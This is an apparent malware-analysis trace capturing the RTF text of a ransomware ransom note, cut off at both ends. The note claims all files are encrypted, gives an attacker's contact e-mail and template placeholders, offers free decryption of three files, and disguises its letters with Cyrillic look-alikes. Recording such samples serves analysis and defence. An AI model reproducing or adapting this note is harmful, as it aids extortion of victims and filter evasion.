r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 [EML2]\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 [EML3]\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b [KID]\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 [RDM_STR]\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchLength=0x36dd | out: lpsz="{\\RTF1\\ANSI\\ANSICPG1251\\DEFF0\\NOUICOMPAT\\DEFLANG1049{\\FONTTBL{\\F0\\FNIL\\FCHARSET0 CALIBRI;}{\\F1\\FNIL\\FCHARSET204 CALIBRI;}}\r\n{\\COLORTBL ;\\RED255\\GREEN0\\BLUE0;\\RED155\\GREEN0\\BLUE211;\\RED255\\GREEN255\\BLUE0;\\RED0\\GREEN176\\BLUE80;\\RED255\\GREEN255\\BLUE255;}\r\n{\\*\\GENERATOR RICHED20 10.0.15063}\\VIEWKIND4\\UC1 \r\n\\PARD\\RI-500\\SA200\\SL240\\SLMULT1\\QC\\TX8804\\UL\\B\\F0\\FS28\\LANG1033 SHIT H\\F1\\LANG1049\\'C0\\F0\\LANG1033 PPENS!\\ULNONE\\F1\\LANG1049\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\QC\\TX8378\\F0\\FS24\\LANG1033 WE H\\F1\\LANG1049\\'C0\\F0\\LANG1033 VE T\\F1\\LANG1049\\'CE\\F0\\LANG1033 INF\\F1\\LANG1049\\'CE\\F0\\LANG1033 RM Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U TH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES WERE ENCRYPTED!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF1\\PAR\r\n\\CF0 PLE\\F1\\LANG1049\\'C0\\F0\\LANG1033 SE BE SURE, Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FILES \\F1\\LANG1049\\'C0\\F0\\LANG1033 RE N\\F1\\LANG1049\\'CE\\F0\\LANG1033 T BR\\F1\\LANG1049\\'CE\\F0\\LANG1033 KEN!\\B0\\PAR\r\n\\I Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D WITH STR\\F1\\LANG1049\\'EE\\F0\\LANG1033 NG \\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LG\\F1\\LANG1049\\'EE\\F0\\LANG1033 RITHMS.\\I0\\PAR\r\n\\I * PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IS N\\F1\\LANG1049\\'EE\\F0\\LANG1033 W\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WITH\\F1\\LANG1049\\'EE\\F0\\LANG1033 UT UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 I\\F1\\LANG1049\\'E0\\F0\\LANG1033 L S\\F1\\LANG1049\\'EE\\F0\\LANG1033 FTW\\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 . Y\\F1\\LANG1049\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 IS S\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 UR\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'F3\\F0\\LANG1033 ST\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R.\\PAR\r\n* T\\F1\\LANG1049\\'EE\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR SP\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 IFI\\F1\\LANG1049\\'F1\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 UT\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'F1\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 L \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR UNIQU\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N K\\F1\\LANG1049\\'E5\\'F3\\F0\\LANG1033 .\\PAR\r\n* \\F1\\LANG1049\\'C0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S W\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 D BUT \\F1\\LANG1049\\'E0\\F0\\LANG1033 FT\\F1\\LANG1049\\'E5\\F0\\LANG1033 R D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PTI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N PR\\F1\\LANG1049\\'EE\\'F1\\'E5\\F0\\LANG1033 SS FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 S WILL B\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 D T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 RIGIN\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ST\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 . D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 STRU\\F1\\LANG1049\\'F1\\F0\\LANG1033 TUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T 